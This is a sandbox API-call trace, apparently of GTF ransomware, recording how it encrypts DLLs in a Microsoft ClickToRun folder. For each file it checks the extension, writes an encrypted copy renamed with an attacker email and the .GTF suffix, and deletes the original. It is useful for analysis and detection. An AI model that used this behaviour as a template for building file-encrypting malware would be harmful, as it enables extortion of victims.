	[0084.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.707] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 1
	[0084.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.707] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.708] lstrlenW (lpString=".doc") returned 4
	[0084.708] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.708] lstrlenW (lpString=".docx") returned 5
	[0084.708] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.708] lstrlenW (lpString=".pdf") returned 4
	[0084.708] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.708] lstrlenW (lpString=".xls") returned 4
	[0084.708] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.708] lstrlenW (lpString=".xlsx") returned 5
	[0084.708] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.708] lstrlenW (lpString=".ppt") returned 4
	[0084.708] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.708] lstrlenW (lpString=".zip") returned 4
	[0084.708] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.708] lstrlenW (lpString=".rar") returned 4
	[0084.708] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.708] lstrlenW (lpString=".bz2") returned 4
	[0084.708] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.708] lstrlenW (lpString=".7z") returned 3
	[0084.708] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.708] lstrlenW (lpString=".dbf") returned 4
	[0084.708] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.708] lstrlenW (lpString=".1cd") returned 4
	[0084.708] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.708] lstrlenW (lpString=".jpg") returned 4
	[0084.708] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.708] lstrlenW (lpString=".doc") returned 4
	[0084.708] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0084.708] lstrlenW (lpString=".docx") returned 5
	[0084.708] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0084.709] lstrlenW (lpString=".pdf") returned 4
	[0084.709] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0084.709] lstrlenW (lpString=".xls") returned 4
	[0084.709] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0084.709] lstrlenW (lpString=".xlsx") returned 5
	[0084.709] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0084.709] lstrlenW (lpString=".ppt") returned 4
	[0084.709] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0084.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.709] lstrlenW (lpString=".zip") returned 4
	[0084.709] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0084.709] lstrlenW (lpString=".rar") returned 4
	[0084.709] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0084.709] lstrlenW (lpString=".bz2") returned 4
	[0084.709] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0084.709] lstrlenW (lpString=".7z") returned 3
	[0084.709] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0084.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.709] lstrlenW (lpString=".dbf") returned 4
	[0084.709] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0084.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.709] lstrlenW (lpString=".1cd") returned 4
	[0084.709] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0084.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned 90
	[0084.709] lstrlenW (lpString=".jpg") returned 4
	[0084.709] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0084.709] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0084.709] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35
	[0084.709] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0084.711] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=18624) returned 1
	[0084.711] CloseHandle (hObject=0x370) returned 1
	[0084.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20
	[0084.711] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0084.712] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.712] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0084.712] GetLastError () returned 0x0
	[0084.712] ReadFile (in: hFile=0x370, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x48c0, lpOverlapped=0x0) returned 1
	[0085.026] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x48d0, lpOverlapped=0x0) returned 1
	[0085.046] ReadFile (in: hFile=0x370, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.046] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0085.046] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.046] CloseHandle (hObject=0x2d0) returned 1
	[0085.047] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.047] SetEndOfFile (hFile=0x370) returned 1
	[0085.048] CloseHandle (hObject=0x370) returned 1
	[0085.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.048] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1
	[0085.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0085.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0085.411] lstrlenW (lpString=".doc") returned 4
	[0085.411] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.411] lstrlenW (lpString=".docx") returned 5
	[0085.411] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.411] lstrlenW (lpString=".pdf") returned 4
	[0085.411] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.411] lstrlenW (lpString=".xls") returned 4
	[0085.411] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.411] lstrlenW (lpString=".xlsx") returned 5
	[0085.411] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.411] lstrlenW (lpString=".ppt") returned 4
	[0085.411] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0085.411] lstrlenW (lpString=".zip") returned 4
	[0085.411] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.411] lstrlenW (lpString=".rar") returned 4
	[0085.411] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.411] lstrlenW (lpString=".bz2") returned 4
	[0085.411] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.411] lstrlenW (lpString=".7z") returned 3
	[0085.411] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0085.411] lstrlenW (lpString=".dbf") returned 4
	[0085.411] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0085.411] lstrlenW (lpString=".1cd") returned 4
	[0085.411] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0085.411] lstrlenW (lpString=".jpg") returned 4
	[0085.411] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0085.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0085.411] lstrlenW (lpString=".doc") returned 4
	[0085.411] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.411] lstrlenW (lpString=".docx") returned 5
	[0085.412] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.412] lstrlenW (lpString=".pdf") returned 4
	[0085.412] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.412] lstrlenW (lpString=".xls") returned 4
	[0085.412] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.412] lstrlenW (lpString=".xlsx") returned 5
	[0085.412] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.412] lstrlenW (lpString=".ppt") returned 4
	[0085.412] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0085.412] lstrlenW (lpString=".zip") returned 4
	[0085.412] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.412] lstrlenW (lpString=".rar") returned 4
	[0085.412] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.412] lstrlenW (lpString=".bz2") returned 4
	[0085.412] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.412] lstrlenW (lpString=".7z") returned 3
	[0085.412] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0085.412] lstrlenW (lpString=".dbf") returned 4
	[0085.412] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0085.412] lstrlenW (lpString=".1cd") returned 4
	[0085.412] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93
	[0085.413] lstrlenW (lpString=".jpg") returned 4
	[0085.413] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.413] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.413] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31
	[0085.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.804] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=24768) returned 1
	[0085.804] CloseHandle (hObject=0x39c) returned 1
	[0085.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20
	[0085.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.819] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.819] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0085.840] GetLastError () returned 0x0
	[0085.840] ReadFile (in: hFile=0x39c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x60c0, lpOverlapped=0x0) returned 1
	[0085.842] WriteFile (in: hFile=0x360, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x60d0, lpOverlapped=0x0) returned 1
	[0085.844] ReadFile (in: hFile=0x39c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.844] WriteFile (in: hFile=0x360, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x112, lpOverlapped=0x0) returned 1
	[0085.844] SetEndOfFile (hFile=0x360) returned 1
	[0085.844] CloseHandle (hObject=0x360) returned 1
	[0085.844] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.844] SetEndOfFile (hFile=0x39c) returned 1
	[0085.845] CloseHandle (hObject=0x39c) returned 1
	[0085.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0085.845] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1
	[0085.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0085.845] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0085.845] lstrlenW (lpString=".doc") returned 4
	[0085.845] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.846] lstrlenW (lpString=".docx") returned 5
	[0085.846] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.846] lstrlenW (lpString=".pdf") returned 4
	[0085.846] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.846] lstrlenW (lpString=".xls") returned 4
	[0085.846] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.846] lstrlenW (lpString=".xlsx") returned 5
	[0085.846] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.846] lstrlenW (lpString=".ppt") returned 4
	[0085.846] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0085.846] lstrlenW (lpString=".zip") returned 4
	[0085.846] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.846] lstrlenW (lpString=".rar") returned 4
	[0085.846] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.846] lstrlenW (lpString=".bz2") returned 4
	[0085.846] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.846] lstrlenW (lpString=".7z") returned 3
	[0085.846] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0085.846] lstrlenW (lpString=".dbf") returned 4
	[0085.846] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0085.846] lstrlenW (lpString=".1cd") returned 4
	[0085.846] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0085.846] lstrlenW (lpString=".jpg") returned 4
	[0085.846] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0085.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0085.846] lstrlenW (lpString=".doc") returned 4
	[0085.846] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.846] lstrlenW (lpString=".docx") returned 5
	[0085.846] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0085.846] lstrlenW (lpString=".pdf") returned 4
	[0085.846] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.847] lstrlenW (lpString=".xls") returned 4
	[0085.847] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.847] lstrlenW (lpString=".xlsx") returned 5
	[0085.847] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0085.847] lstrlenW (lpString=".ppt") returned 4
	[0085.847] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0085.847] lstrlenW (lpString=".zip") returned 4
	[0085.847] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.847] lstrlenW (lpString=".rar") returned 4
	[0085.847] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.847] lstrlenW (lpString=".bz2") returned 4
	[0085.847] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.847] lstrlenW (lpString=".7z") returned 3
	[0085.847] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0085.847] lstrlenW (lpString=".dbf") returned 4
	[0085.847] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0085.847] lstrlenW (lpString=".1cd") returned 4
	[0085.847] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0085.847] lstrlenW (lpString=".jpg") returned 4
	[0085.847] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.847] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0085.847] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26
	[0085.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0085.847] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=307416) returned 1
	[0085.848] CloseHandle (hObject=0x39c) returned 1
	[0085.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20
	[0085.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0085.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.848] lstrlenW (lpString=".doc") returned 4
	[0085.848] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.848] lstrlenW (lpString=".docx") returned 5
	[0085.848] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0085.848] lstrlenW (lpString=".pdf") returned 4
	[0085.848] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.848] lstrlenW (lpString=".xls") returned 4
	[0085.848] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.848] lstrlenW (lpString=".xlsx") returned 5
	[0085.848] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0085.848] lstrlenW (lpString=".ppt") returned 4
	[0085.848] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0085.848] lstrlenW (lpString=".zip") returned 4
	[0085.848] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.848] lstrlenW (lpString=".rar") returned 4
